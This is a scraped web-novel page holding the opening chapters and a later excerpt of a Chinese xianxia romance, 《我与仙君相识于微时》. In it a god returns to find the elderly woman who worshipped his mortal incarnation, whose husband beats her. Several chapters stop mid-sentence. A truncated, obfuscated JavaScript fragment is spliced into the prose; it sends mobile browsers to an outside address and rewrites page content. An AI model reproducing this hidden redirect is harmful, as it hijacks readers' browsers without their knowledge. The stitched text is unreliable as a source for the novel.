《我与仙君相识于微时》 1. 她在人世间 《我与仙君相识于微时》全本免费阅读 飞升前夕,仙君衡羿在凡间尝厉百千万劫,心性却从未动过摇分毫。 他是新任神界的掌管者,修为自然比其他的仙要高个几分。 听说有仙从凡间回来一趟,疯了的,抑郁的,撒泼打滚,闹着要做回去凡人的…… 只因舍不下凡间的七情六欲,在万丈红尘中,沉醉不知归路。 衡羿从不会如此。 他知道,无情才是守护三界最好的方式。 只是,自从回来后,他夜里总是梦见一人。 那人在百千万世中,不是他的母亲,不是他的妻子,不是他的女儿……她甚至和他从未产生过,任何名义上的关系,命薄上更是未记载,彼此有过什么难解的羁绊。 可他,忘不了她。 因为,她在人世间,是他最为狂热的小信徒。 …… 历劫的最后一世,衡羿是农夫之子——薛尘。 父母都是老实本分,甚至软弱怯懦的庄稼人。 偏偏他,嗜血好杀极难管教,最终被父母送去参军。 不料,一路佛挡杀佛,神挡杀神,年仅二十岁,就成了护国大将军。 外乱平息后,因他一无士族撑腰,二又性情桀骜不驯。 宰辅大臣拉拢他不成,于是精心设了一场局,定了个谋反的罪名,君王无奈将他赐死,五马分尸。 他死那天,百姓如潮,无不痛骂他犯上作乱,该杀! 这是他当初带着众将士,用命保护的百姓。 薛尘冷冷地笑了一下。 他并不责怪他们,他知道他们会受到惩罚的。 外乱是他平定的,只要他一死,战火离乱势必卷土重来。 这是他们将要面临的结局。 也是那个无能为力的君王,被他的一众辅臣精心筹谋的结果。 在极高的声势中,薛尘这个名震一时的少年将军,被五马分尸了。 百姓看完热闹,一哄而散,回家做饭。 偌大的行刑场上,只有一个红衣女子闯了进来,抱着他残破的尸身痛哭。 彼时,衡羿已经完成历练,重归神位。 他在天上看着这名女子,努力回想着究竟与她有何渊源。 最后才想起来,他不过是在参军的路上,沿途收拾了一个山贼窝,救出了几名女子,还给了她们一些银两。 别的女子都将他忘记了,只有她还记得。 衡羿看着女子抱着自己残破的尸身,冷笑一声道:“何必呢?凡人就是愚妄。记挂着这些微不足道的恩情,只会给自己徒增烦恼。” 后来,记挂的那个,反倒成了他。 衡羿每日都在天上看着女子的变化。 天上一天,地上一年。 他看着那女子,为了有钱葬他,委身嫁与匪徒,拿换到的微薄彩礼给他修墓立碑。 不仅如此,还找人给他塑了泥身小像,摆在家中的柜子里,早晚供奉。 他是百姓眼中的作乱反贼,却是她眼中唯一的神明。 女子听江湖术士说,只要凡人的信仰足够,就能给这位少年将军封神。 还说自古以来,那些封神的将军,都是靠着民间的信仰飞升的。 衡羿傲娇地对着虚空镜说道:“我本来也是要回归神位的,何须你一介凡人来封神呢?” 再后来…… 在天上看了这女子三十年后,衡羿算出她的寿命还有三个月。 终于忍不住,下凡去寻她。 女子这三十年来,过得很苦,性情也跟年轻的时候变了很多。 丈夫酗酒生事天天打骂她,几个儿子也因常年的战乱相继离世。 她变成了一个市侩又暴躁的老妇人。 唯一不变的,是对他的虔诚供奉。 衡羿下凡后,刚好看到她的丈夫,把她摁在菜地上打。< 2. 这样的前缘 《我与仙君相识于微时》全本免费阅读 花老爷临出酒楼前,踉踉跄跄地一个没走稳,撞上了宋县令小厮手提的灯笼,脑袋上烫了个大水泡。 周围人连忙将他搀扶起来。 在酒席上,始终不肯放下架子的宋县令,脸上终于露出了几分笑模样:“老花,你看看你,也不知道小心一些。” 花老爷卑微而谄媚地,亲自将手里的灯笼,递交到对方的小厮手里,又转过身,忍疼赔笑道:“赶明儿啊,我给您老,送过去个七彩琉璃灯。” 宋县令随意摆了摆手:“行了行了,你赶紧回去吧。” 花老爷被小厮架上了马车。 坐进马车里,眼中一片清明,俨然没有了方才在外面时的醉态。 花府。 外面守夜的小厮不敢睡觉,凑在一起蛐蛐。 金舟率先开口道:“老爷跟夫人吵什么呢?隔这么老远都能听到动静。” 宝海懒懒地打了个哈气:“不知道,你凑过去听听?” “我不去。老爷夫人都十多年没吵架了,这会儿肯定是为了什么大事。” “咱们老爷,一个做生意的商人,能有什么大事?” 金舟推了宝海一把:“哎,我说,你怎么看不起做生意的呢?” 宝海惆怅道:“不是我看不起,这就是这么个世道嘛!你看咱老爷在府里面牛气,那到了宋县令面前,还不是照样跟小鸡子一样。啧啧,要我说,咱们家这大小姐,有人娶就不错了,干嘛还挑三拣四的,这要是惹了宋县令,保管咱们老爷,吃不了兜着走。” “这倒是,我听说,宋县令的儿子,那也是一表人才,又是读书人,这日后登堂拜相也未可知呀。” “就算不登堂拜相,也比咱们这商人门第要高啊!真不知道她在挑什么。” 金舟看着月亮神往道:“当女人多好啊,什么都不用学,到年纪就嫁人了。我也想当女人。” 宝海从后面踢了他一脚:“你可拉倒吧!跟男人女人有什么关系?这年头啊,只有富人过得好。小姐是投胎投得好,在家里养尊处优十八年,嫁个门当户对的,照样是被供养的。小姐要是生在贫穷人家,那还不知道要怎么样呢。好一点呢,跟咱们府里的丫鬟一样为奴为婢,遇上个心善的主家,要是往坏了想,那隐蔽巷子里的破屋,就是她的归宿。” 金舟露出了意味不明的笑:“怎么,你去玩过啊?” 宝海白了他一眼:“滚滚滚,玩儿也不去那儿玩啊。我只是说那是生在贫穷人家的女人,最差的结局。” 金舟点了点头:“这倒是。不过,小姐要是生在贫穷人家,放在我们村子里,那是没有人要的。” 宝海赞同道:“我们村也没人要。肩不能扛,手不能提,都是要过日子的庄稼人,谁会娶个奶奶回家供着?咱们家里这位小姐啊,还就那种官宦人家娶得起。供她吃,供她穿,还得供她看书。” 房间里,花夫人到处摔东西。 “你在外面喝了点黄汤子,回来就跟我耀武扬威上了?” “也不看看姑奶奶我是干嘛吃的!” “我能让你给欺负住?” 花老爷抱着头,瑟瑟发抖地蹲在桌子下面。 眼看着屋子里那些贵重摆饰,被夫人摔在地上,碎片飞溅。 他的翡翠,他的玛瑙,他的大元宝都磕掉了一角…… 花老爷忍不住说道:“我,我也没说什么嘛,我就是抱怨了几句。” 花夫人也是憋了一肚子气:“你还抱怨!你有什么好抱怨的?府里是养不起她吗?为什么就非要让她嫁出去?” 花老爷无奈道:“这不是养不养得起的问题啊。日后咱们俩要是归西了,谁帮她守家啊?家产还不得被人瓜分了。再说了,我就没见过女人,出去走南闯北谈生意的。那酒桌上的规矩,她也不懂啊!” 花夫人指着花老爷的鼻子骂道:“你少在这里吓唬我。我还得为了未来没发生的事,硬生生地把女儿给嫁出去?” 花老爷委屈道:“我也没说逼女儿家人,就只是去见见嘛,谁知道,她连见都不愿意见。本来两家都说好了,县令那排场给得老足了,结果你说她这一哭二闹三上吊的。唉,我这下可把县令给得罪狠了。” 花夫人冷笑道:“你活该!闲得你蛋疼!女儿说让你给她找婆家了吗?女儿又没说,你自己老瞎比乎乎地乱操什么心?你只记得答应县令,就不记得问问女儿愿不愿意去?” 花老爷抱着桌子腿心虚道:“这,我这不是,想逼她一把嘛。万一成了呢?” “你逼成了吗?现在女儿脖子上都一道上吊的印子。如今,你老实了吧!” 花老爷垂头丧气道:“老实了,能不老实么?我今晚出去,就是给她收拾烂摊子的。” 花夫人讽刺一笑:“你少他妈的在这里装相!你给女儿收拾烂摊子?那明明是你惹下来的烂摊子。你个杀人不用刀的老顽固,自从女儿差点被你逼死,我看见你就恨不得撕碎了你!” 花老爷捂着脸哭诉道:“你还要我怎么样啊?你看我脑袋上这大水泡,就是为了哄宋县令开心,故意出了个丑烫的。这亲事没成,自然不能说是县令儿子不好,要说咱女儿没福气。我在外面也难做啊!” 花夫人冷笑道:“你自找的,烫死你才好呢!你要是再逼女儿嫁人,我跟你没完。” 在外面受了一肚子气,回家又受一肚子气。 花老爷的情绪也有些上头起来:“没完就没完!我还就这么跟你说,十六岁的时候,我就该趁她不懂反抗,早早地把她嫁出去。你看看那个跟她同岁的陆雨帘,人家今年都生娃了!就她还跟个小孩子一样,天天捧着书本看,不知道在看些什么东西。又不能去参加科举,一天天地闲在家里。” 花夫人拖下鞋来走到桌子底下,指着花老爷的鼻子骂道:“老狗日的,你给我出来!出来你看我楔不死你!” 花老爷在里面缩缩着:“我不,我偏不出去。你打我,我也得说实话。她今年已经十八岁了,再不嫁,就真嫁不出去了。到时候,外面那些男人,都是别人挑剩下的。” 门在这时候被丫鬟惜柳推开。 花祝年走了进来,看到这一地的狼藉,以及衣冠不整、发髻凌乱的爹娘。 花夫人把鞋穿好,胡乱地整理了一下衣服,走过去将女儿搀扶了过来:“身体好些了吗?” “好多了。” 花老爷见机也从桌子下面爬出来,踉跄着过去对着女儿谄媚道:“那个事儿啊,爹已经帮你摆平了。你放心,以后没人敢再让你去见什么人了。咱们想看书就看书,不想嫁就不嫁。” 花祝年苍白的脸上,显露出几分温柔的笑意:“谢谢爹。” 花老爷刚被女儿谢,就又开始贼心不死道:“不过,女儿啊,爹还是想问问,你喜欢什么样的啊?要是不喜欢官宦之家,你愿意嫁商贾之家也行,爹都能给你找。” 花夫人照着花老爷头上的大水泡,猛锤了几下:“找找找,给你找个爹你要不要啊!” 花祝年柔和脆弱的目光中,带了几分天真小女儿姿态的幻想:“不喜欢的话,天王老子来了也不嫁,喜欢的话,犯上作乱的匪徒也嫁!” 衡羿在虚空镜前,内心五味杂陈。 镜中的女子,一语成谶。 日后,她果然嫁了个犯上作乱的匪徒。 还嫁了两次,两个都是。 花老爷头疼地说道:“你这话说的,匪徒有什么好嫁的啊!” 花夫人踹了花老爷一脚:“比喻,这是比喻懂吗?上到天王老子,下到作乱匪徒,他们值不值得被人爱,不是世间来判定的,全看我女儿的心意。明白吗?不是有个牛逼轰轰的身份,就能草天草地目中无人了!” 花老爷叹了口气:“那要这么说,有你们后悔的时候。” 说完,就瘪瘪囔囔地离开了。 临出门,还被门槛绊了一跤,摔到了门子上。 花夫人和花祝年忍不住笑了出来,就连一旁的小丫鬟都在笑。 花老爷扶着门子起身:“女人都头发长见识短,不跟你们一般见识。” 说完晃晃悠悠地离开了。 在花府的日子里,是花祝年一生中最快乐的时光。 有市侩但爱她的爹爹,有暴躁但疼她的娘亲。 没有 3. 在你心里 《我与仙君相识于微时》全本免费阅读 村子里的流水席,虽然办得比不上富贵人家丰盛,不过来吃的人很多,很是热闹。 花祝年抠抠搜搜地把几个铜钱拍在桌上,佯装出了几分气势。 记账的后生看了她一眼:“花大娘,你这还不如不来。就你给的这点,到时候连吃再带,那主家都收不回本去。” 花祝年上去就指着后生的鼻子骂:“小鸡崽子,你说什么呢?这可是我老姐妹儿,她死了,我连送送她都不行?主家办事儿,给多给少都是个心意,那轮得到你来嫌弃!你算什么东西,也赶替主家来赶人?当初,你娘生你的时候,还是老娘给你接的生呢,早知道你这样,你一生下来就该摔死你。也不至于十几年后,让你这么个白眼狼来气我!” 后生好歹也是个读书人,虽然屡试不中,但毕竟脸皮薄,被花祝年骂得无地自容。 他从账桌上站了起来,低着头无奈做出了请的姿势。 示意她快进去吃席吧,别站在这里泼妇骂大街了。 花祝年仍旧不肯进去,照样叉着腰骂道:“看着你长得人模人样的,骨子里竟是个黑心烂透了的玩意儿!哪有以钱财论高低的,亏得你还是个读书人呢。你那些圣贤书都读到狗肚子里去了?” “听说你这回乡试又没中,我看真是老天开了眼。像你这样的后生,你就是中了,也是个草菅人命的贪官污吏。老百姓在你手底下,过不了什么好日子。不知道自己干嘛吃的,主家让你记账你记账就好了,你管我给主家拿多少钱干嘛?吃饱了撑的没事儿干,闲得你蛋疼!” 后生被花祝年骂得一口血喷到了账桌上,被主家的人架走了。 对方都这样了,花祝年仍旧不依不饶道:“你以为喷点血沫子,大家就会同情你了。我告诉你,不会的!你简直枉为读书人,读了这么多年书,也不过是条冷情冷性的哈巴狗而已。看见高的,就去摇尾巴,看见低的,就踩几脚。” “我今天骂你,是你的绝世福报!你就偷着乐吧!这是在帮你矫正你的人生,防止你日后祸从口出,被送上断头台。今天挨老娘一顿臭骂,把你这低劣的人性给归置端正了,日后保你乡试高中,出将入相。” 花祝年骂爽了,才气喘吁吁地往院子里走。 来这里吃席的老姐妹儿,连忙招呼着花祝年过去。 “一个傻后生,你跟他较什么劲儿啊,白费这么多力气。” 花祝年往嘴里塞进一块带了肉汁的炸豆腐,边嚼边说道:“我就是为的说个理!这个动荡的世道,求官的求官,求财的求财,都没人听我讲理。” 其中一个老姐妹儿,凑过去贬损她:“哈哈哈哈,像你给主家那么几个钱,连吃再往家里拿,就是讲理了是不是?老花,你真是穷横穷横的。” 花祝年把眼一翻:“今天吃席的大好日子,别逼我骂你!” 老姐妹儿叹了口气:“唉,吃吧吃吧,你就当我没说。我看你这脾气啊,真是越发暴躁了,哪有年轻时候温言细语的样子?” 花祝年啃着被人吃剩的酱肘子说道:“我已经不年轻了。刚刚要是不撒那一顿泼,也吃不上这么香的肘子。” 她吃得正起劲儿的时候,周围的几个老姐妹儿,开始惆怅地念叨起来。 “哎,你们知道,五仓怎么死的吗?” 五仓是众人死去的老姐妹儿,因为生她的那天,家里粮食刚好满五仓,所以取名叫五仓。 “这不是到了年纪了吗?按照这个岁数,咱们也快了吧。” “哪能呢,寿衣是我给她穿的。五仓的样子,不像是正常走的。” “我倒是听人说过一些事儿。” 花祝年无暇顾及别人说什么,狂吃着她们剩下的饭菜。 炖菜炖得软软烂烂的,这些可都是好东西啊。 她要大吃特吃。 吃饱喝美了,再带一些回去,就不用做她跟老头子的晚饭了。 “什么事儿啊,你倒是说啊!” “就是咱们村东头那个村医,他老婆往外面传的。据说,五仓死之前,家里人找她家老头子看过病。她也跟着过去,清理伤口来着。据说,下面全都是血。” “啊?不会吧,怎么会有人对老太太下手啊?这是哪个老光棍子做的吧?” “不是,听五仓说,是个年轻人。当时天太黑,她没看清,但无论是声音还是气力,绝对是年轻人做的。” “那为什么不报官?” “报个屁的官呐!到时候传到十里八乡,犯人没抓到,名声先毁了。受了欺负,谁愿意让人知道。” “而且,我还听村医的老婆说,其实不光五仓经历过这种事,别村的老太太也经历过。挺过去了就活得硬硬朗朗,当什么事儿都没发生过,挺不过去,就是五仓这样,自杀。” “什么?五仓不是正常老死的吗?” “一看就不是。” “那孙子专挑老人下手么?” “听说是。可能是挑年轻的,怕人家姑娘家里来找吧。像咱们这种的,老得都咔嚓咔嚓地掉渣了,被辱没,被欺压,有谁在乎呢?” “唉,所以,我就特别理解老花刚才骂大街。刚刚那个后生也真是的,老花去账桌,是给主家送办事儿的钱,他可倒好,平白无故地嫌弃少。” “嗐,那哪里是替主家嫌少呢?明显就是看老花给的少,懒得提笔去记录罢了。” “说起来,还不是欺负老花的孩子都没了。” “那么这说起来,老花,你可够危险的。以后,一个人可别走夜路啊。” 花祝年吐了口鱼刺说道:“没事儿,我有将军守护,谁都伤不了我。” “呦,三十年过去了,你还抱着你那将军不放呢?” “人家的小将军,生得可俊俏了,换做是你,你也舍不得。” “老花跟小将军可是结了阴亲的!你们谁能有她爱得深?” 几个老姐妹儿纷纷调侃她。 花祝年也不恼,反而无比认真地说道:“我劝你们别说将军的坏话。之前他给我托梦,说自己就快要封神了,这些年全靠我的信仰加持,才没有变成孤魂野鬼。还说,要我多多供奉于他。” “哈哈哈,你那犯上作乱的将军要是封了神,那我就是仙姑。” 花祝年沉静地说道:“那是构陷。再者说,三十年来,江山都换了几代了,一直在打仗,就算我的将军造反,那也是前朝的问题,不关我将军的事。” 花祝年吃饱喝好后,将一些残羹剩饭,装进自己带来的小竹篮里。 之后就开始“传经布道”。 “我跟你们说,有了病,找村医看没用,不如来找我的将军。只要诚心祭拜,再供奉一点香油钱,保管你药到病除。” 一个老姐妹儿轻喃道:“这倒是。那天我孙子魂被炮仗吓丢了,整个人不吃不喝,也不讲话,后来带着他去老花家里拜了拜,出来就好了。我以前是不信这些的,想来老花家里的那个将军是个心善的。” “那你放了多少香油钱啊?” “倒也没多少,就一碗小米。这方面,老花不挑的,多少是个心意就行,主要靠的还是诚心信仰。” 花祝年听到有人信奉自己的将军,感到很欣慰。 “你们想想,如果将军没用,我会供奉他那么多年吗?” 旁边的老姐妹儿冷笑一声:“那也说不准。谁不知道你喜欢他,总是带着个人感情祭拜。有你这样拖累着他,我看他想成神也成不了。” 花祝年目光沉静,皱纹遍布的脸上,竟露出了几分少女的神态:“我喜欢他,他不必回应,他只要爱众生就好。” 让人很难把眼前祈愿的人,和那个市侩暴躁的老妇人联系在一起。 在涉及到将军的事情上,花祝年总是很虔诚的。 从不会有什么粗鄙之语。 “最近总是发生欺负老太太的事,你们如果害怕的话,也可以去我家拜一拜,将军会保护你们的。” 花祝年说完,挎着自己的篮子离开了。 可能是心里始终有那么一个念想,所以无论她面对什么,都不会害怕。 就算是死,她也会想,终于能去见她的将军了。 几十年战乱,接连失去了三个儿子后,花祝年是想过自杀的。 可是,她担心自己死了,没人管她的将军。 将军曾给她托梦说,让她再等一等,他就要被封神了,还需要一点信仰。 如果她这时候死了,那将再没人祭拜他。 封神路断,再难觅求。 花祝年为了等她的将军封神,这才强撑着气力活到了现在。 花祝年离开后,她的那群老姐妹儿,坐在流水席前嘲笑她。 “她的将军要是能护住她啊,她就不至于天天被家里男人打了!” “刚刚她啃肘子的时候,我还看到她胳膊上有伤呢,紫红色的。” “啧啧,我家远房亲戚是个读书人,他跟我说,都是些没读过书的绝望百姓,才会迷信这种东西。他就从来不信这些。” 不知道是不是这话说得太傲慢的缘故。 其中一个老姐妹儿笑道:“不信好说啊,把他喊过来,让老花骂一顿,就信了。咱们老花专骂不识五谷的读书人!” “可算了吧。人家寒窗苦读呢,少影响人家读书。” 花祝年回到家,贺平安一脚就踹上了她的胸口。 竹篮里的饭菜洒了一地。 “老子一天天地这么苦,这么累,回家都吃不上你做的饭,你是不是找死?” 花祝年躺在地上,捂着胸口哎哟了好一会儿,才勉强喘顺了那口气,慢慢地爬起来收拾地上的残羹。 “五仓没了,我刚刚去吃席,这是给你带的饭。好肉好菜,还有半瓶酒。” 这也是花祝年刚刚为什么,吃得那么快的原因。 流水席虽说是吃完就走,可大家往往吃完了,还会在一起聊会儿天。 只有她着急忙慌地吃,就是为了赶在贺平安回家之前回来。 没想到,还是没赶上。 这些年,只要他回来看不见桌上的饭,就会打骂她。 她都被打怕了。 贺平安从后面踹了花祝年肥硕的屁股一脚:“老子不吃外面的剩饭,要吃你做的!给老子重新去做。” 花祝年盘腿坐在地上,抱着竹篮小声道:“这篮子里还有一些,扔了怪可惜的。要不你凑活凑活?” 贺平安上去甩了她一耳光:“还敢让老子凑活?老子他妈凭什么凑活?你凑活了吗? 4. 那要是 《我与仙君相识于微时》全本免费阅读 刚才一直在自己院子里,偷偷看热闹的邻居鲁大梁走了过来。 他笑着跟眼前的年轻人调侃道:“这里边打得跟热窑一样!像你这样斯斯文文地喊啊,他们是听不见的。” 衡羿的目光暗了一瞬:“我重新喊。” 鲁大梁将他推到一边,自己站到篱笆面前,高声大嗓地叫喊道:“哎——老贺头儿,有人找!” 贺平安踩着花祝年的头,扯着嗓子回应:“干嘛呀?” “不是我找,是一位后生找你。” 贺平安的脚这才从花祝年的头上下来,他刚要去,花祝年忽地抱住了贺平安的腿。 “你不能去,我知道是谁。” 贺平安皱着眉头,不耐烦地问她:“谁?” “我今天吃席,把一个记账的后生骂吐血了,估计是来找我讨医药钱的。” “为什么骂他?” 花祝年支支吾吾道:“他、他嫌弃我给的钱少。” 贺平安的腿从花祝年的手中挣脱出来,又踹了她一脚:“老子早就他娘的说,不让你去吃那个破席!你不听,非要去送送你那老姐妹儿。一个臭记账的,还敢嫌弃份子钱少?狗日的,让他进来,看我不打得他眼冒金星!” 花祝年再次揪住他的裤腿说道:“别再打了。打坏了,没钱赔。” 贺平安脾气早被激得上来了:“滚蛋!” 因为贺平安的步子迈得太大,花祝年又死拽着不肯松手,结果一下把他裤腿给撕扯了下来。 贺平安怒极反笑:“嘿,你这个婆娘——” 作势又要伸手去打花祝年,门外的鲁大梁又喊了一声:“老贺头儿,你倒是让人家进去啊。这后生等你老半天了。” 贺平安恼道:“几把的一个烂篱笆,还能拦得住人啊?他想进来,就进来呗。老子最烦这些逼逼叨叨的繁文缛节!” 鲁大梁笑道:“人家这后生,看着是个读书人。哪儿像你似的,一个大老粗,那么没规矩。” 衡羿看着眼前低矮的篱笆,的确只要他轻轻一推,就能推开。 当时,就算他不打招呼,不去问询,也是可以直接走进这个小院的。 可是他没有。 他是执掌三界的衡羿仙君,始终都要遵守这世间的规矩。 挡住他的,从来就不是什么篱笆,而是他自己。 否则,他也就不会在虚空镜前看了她三十年,都未曾下来过一次。 天地之间,在凡人看来,或许是很遥远的距离。 可是对他而言,一个思凡的念头就能到达。 只是这一念,他足足犹豫了三十年。 鲁大梁推了衡羿一把:“愣着干嘛,进去啊!” 衡羿谢过鲁大梁后,从口袋里拿出了一些银两,就当是谢过他帮忙。 鲁大梁哪儿见过这么多银子,顿时两眼放光,不过还是推拒道:“哎呀,你看看,这是干什么,用不着用不着。” 衡羿将银两硬塞进鲁大梁手中,就推开小篱笆,走了进去。 鲁大梁不好意思地接了过来,紧跟在这位后生身后。 寻找着赚银子的机会。 哪料,衡羿刚走到贺平安面前,贺平安一拳头就挥了过来。 衡羿在人间尝历了百千万劫,经历过各种各样的人生,更不用说最后一世,还是上阵杀敌的护国将军。 对于这样粗俗的功夫,自然是能闪避开的。 身后的鲁大梁结结实实地挨了贺平安一拳。 顿时趴在地上眼冒金星。 花祝年见状缓缓地抬起头,这才发现眼前的后生,她并不认识。 她连忙爬过去抱住贺平安腿:“别打了,打错人了!” “用你说?老子知道!” 贺平安摆出了架势,好像要跟衡羿较量一番。 花祝年着急道:“不是,这个后生,不是我骂吐血的那个。” 贺平安低头瞅了花祝年一眼:“那他是哪个?” “我不认识。” 衡羿垂眸看向花祝年的脸,泥土和血水混杂在了一起。 就连睫毛上都沾染了血污。 花祝年似乎是感觉到有人在看自己,她瞬间低下了头。 贺平安将花祝年挡在身后:“你哪儿来的?找我什么事?” 衡羿很有礼貌地说道:“我是来游学的,一时找不到住处,所以想问问,能不能借助几日?” 贺平安的警惕性很强:“游学,游什么学?你们这些读书人,不是只要坐在家里看书就好了吗?再说了,这兵荒马乱的年代,你就不怕把你抓去战场?” 衡羿笑了笑,解释道:“是学堂里的先生让我出来游学的。他说乡试中常会考一些跟世情有关的文章。只是坐在学堂读死书,什么考察也不去做,是没办法写出对百姓有益的文章的。” 贺平安摆了摆手:“那你去别处,别来我家。滚滚滚!” 趴在地上鲁大梁,一听这个可开心了,立马晃晃悠悠地站了起来。 只是一不小心,袖口里的银子掉在了地上。 贺平安看见后,一个跨步迈过去,用脚踩住了。 “这是我家地里长出来的,你想干嘛?” 一旦涉及到了钱财方面,鲁大梁也开始来了脾气:“我说,老贺头儿,这明明是这位后生,刚刚给我的报酬。” “什么报酬?” “你们两口子在里面打架,人家后生喊你们没听见,我就帮着喊了一下,人家懂事,不白用人,就给了我几锭银子。” 贺平安心想,这读书人,是他娘的有钱啊。 还是傻有钱傻有钱的! 帮他喊一嗓子,就能拿这么多钱,那要是留他住几天的话,指不定给多少呢。 贺平安对衡羿问道:“小子,你叫什么名字?” “薛凡。” 花祝年忍不住抬起头,哪怕只是姓相似,都会让她想到她的将军。 她刚见他的那年,年纪应该跟这个后生差不多。 不过,她的将军比眼前的后生,要快意恩仇许多。 收拾匪徒,可厉害了。 衡羿说出口之后,也有些后悔。 应该想个别的名字的。 也不知怎么,竟然想了个这样相似的。 他并不想让花祝年,将自己和薛尘联想到一起。 因为,他们之间是没缘的,更谈不上再续前缘。 他来此地,只是知道她快死了,来给她收尸的。 虽然这位后生和她的将军,性子和容貌都不太像,不过花祝年还是忍不住多看了他几眼。 因为,身形还是有些像的。 一样魁梧高大。 贺平安觉察到花祝年的目光,一脚踹在她的脸上:“你看什么?是不是又起了色心?你也不看看你多大岁数了?人家俊后生会看得上你?一把年纪了,也不知道安分些。” 花祝年头埋在土里呜咽道:“你少在这里贬损我。我的将军,是这个世界上最俊俏的人!岂是随便一个后生可比的?” 贺平安冷哼一声,懒得再理她。 他一把揽过衡羿的肩,对他说道:“薛后生,你要是在我这儿住宿可以,得交钱。” 衡羿拿出几个铜板,递放到贺平安的手中。 贺平安狞笑着在手里颠了颠:“这么几个钱,你打发叫花子呐!” “我身上就剩这些了。如果不够,暂且让我先歇个脚,之后我再写信给家里要。” 贺平安一把将那几个铜板摔在地上:“你糊弄谁呢?刚刚给卤大肠那么些银子,到我这里就几个铜板了?” 鲁大梁人送外号卤大肠。 因为他特别爱说人是非,肚子里的弯弯绕绕特别多,所以得了这么个名号。 衡羿老实说道:“刚刚一不小心给多了。我是个读书人,脸皮儿薄,给出去的银子,不好往回要。身上确实只剩这些了。” 鲁大梁听闻连忙从地上捡起了铜板,对着衡羿招呼道:“薛后生,来我家吧。三菜一汤,包吃包住。还给你提供纸笔,供你给家里人写信要钱。” 或许是鲁大梁的话,提醒了贺平安。 这后生现在是没钱,不过可以往家里要啊。 贺平安一把将衡羿又拉了回来:“这事儿就这么定了。你先住着,没钱就给家里写信。至于饭菜嘛,也是三菜一汤。” 衡羿点了点头:“好。” 鲁大梁眼看着到手的鸭子飞了,他连忙将贺平安拉扯到一旁:“老贺头儿,这个钱,你就非赚不可嘛?” 贺平安轻哼一声:“怎么啦?不让赚?这后生看上的,本来就是我家啊!这钱就该我赚。” 鲁大梁对着贺平安窃窃私语道:“你家那老婆年轻的时候,在十里八乡那是有名的漂亮,招了不少人惦记吧。你看这个后生,虽是个中人之姿,可怎么也比你这个老头子俊俏。你就不怕,他们俩……啊?” 如果说的是别人的话,鲁大梁这么一嚼舌根,花祝年可能又会换来一顿打。 可偏偏说的是一个后生,贺平安笑着连连摆手:“我家那个老丑妇,现在哪有半点年轻时候的样子?除了我,谁还看得上她?人家后生又不傻。” 鲁大梁不甘心道:“那要是,你家那老婆子勾引那后生呢?” 贺平安把脸一沉,瞪着眼睛对鲁大梁说道:“卤大肠,你别逼我抽你!” 鲁大梁就此作罢,再不敢多说什么。 贺平安仍旧不依不饶道:“你别以为我不知道,你是想把这个有钱的后生,拐去你家里。这你就不怕你老婆偷人了?” 鲁大梁看了贺平安一眼,打马虎眼道:“你看看你,说什么呢。” 说完就要去挖方才,被贺平安踩进地里的银两。 可是被贺平安弯腰率先捡了起来。 鲁大梁瞬间恼道:“贺平安,你也忒不守规矩了!你让后生住你家,我就不说什么了。可这银子,你得给我,怎么能明抢呢?你要是明抢,我就报官!咱们让县太爷评评理。” 贺平安一听到报官,顿时也有些怂了。 他年轻的时候,是遭过官府的罪的,进去容易,出来少说得脱一层皮。 “这样吧,见者有份,咱们对半分。”说完就放了两锭银子在鲁大梁手中。 鲁大梁攥紧了银子:“不行,你再给我一锭。凭什么对半分?这本来都是我的。” 贺平安狡猾劲儿也上来了:“那你要这么说,我可就要掰扯掰扯了。刚刚那后生,可没想给你这么多。人家只是不小心给多了,脸皮儿薄,不好意思要回来而已。他不好要,我能替他要啊!你别等到时候,连手里的这两锭也留不住。” 鲁大梁终于服了软,将两锭银子揣进了口袋里。 他走到衡羿面前:“薛后生,你之后要是有什么事,随时来找我。我就住旁边儿,是这家的邻居。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902214|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安用铁丝重新箍好了。 这顿午饭,吃得十分诡异。 贺平安罕见地拿出了珍藏的酒,居然要邀请他喝两杯。 衡羿不好推脱,只好被一杯接一杯的灌着。 喝到最后,他整个人的身上,都是酒的香气。 花祝年觉得衡羿已经醉得透透的了,就给贺平安递了个眼色。 贺平安开始架着衡羿往外走,衡羿连忙稳住自己的身体:“贺大叔,我回房间睡一会儿。” “睡什么睡!你这身上都湿了,床弄湿了,算谁的?” “我——” 衡羿话都来不及讲,就被贺平安推去了鲁大梁家门口。 他不太想进去,转身就要往回走,结果被贺平安跟鲁大梁,推进了一间小屋子里。 屋子中间,有个大圆桶。 里面冒着热气,不只热气,还有一股草药的香气。 衡羿眼睁睁地看着他们,将自己的衣服扒了下来。 他不好发怒,只能配合着。毕竟,对方也是一番好意。 衡羿是个很宽容的神,特别是面对一些愚昧凡人时,就更加宽容了。 他知道这是鲁大梁在讨好自己,想要他做他的女婿。 在乡下,用这样的木桶,洗热水澡是很难的。 他想起小信徒和贺平安,都只是在外面,趁着天黑随便擦洗了几下。 正这样想着,就被他们丢进了浴桶里。 鲁大梁一脸谄媚道:“后生啊,你就先泡着啊。热水凉了,我再给你加。” 衡羿思索着拒绝的说辞。 唉,都怪他的小信徒,没事儿乱点什么鸳鸯谱? 他在里面待了很长时间,鲁大梁和贺平安进来加了几次水。 他们在加水之余,似乎还在观察他。 不知道在观察什么,等他看向他们的时候,两个人又装作没什么事的样子。 中途有几次他想出来,可是衣服被他们收走了。 说是正在熨烫,还没弄好,让他再待会儿。 就这样,他几乎从下午泡到了天黑。 鲁大梁才把熨烫干的衣服拿进来。 衡羿在他出去后,摸着衣服,有种温热的触感。 等他穿好后,又被鲁大梁留下来吃晚饭。 衡羿觉得不能再待下去了,连忙推脱道:“鲁大叔,谢谢你,我已经很麻烦你们了。晚饭,就不在这儿吃了。” 花祝年上前说道:“我跟你贺大叔,晚上也在鲁家吃。回去没你的饭,你赶紧在这儿对付两口算了。” 衡羿原本想直接回去睡觉,他觉得他们今天看起来太过反常了。 可是,又想到小信徒在这里,况且,贺平安手里还拎着酒,他怕贺平安醉酒闹事,当众打他的小信徒,只好留了下来。 晚饭又是一顿喝。 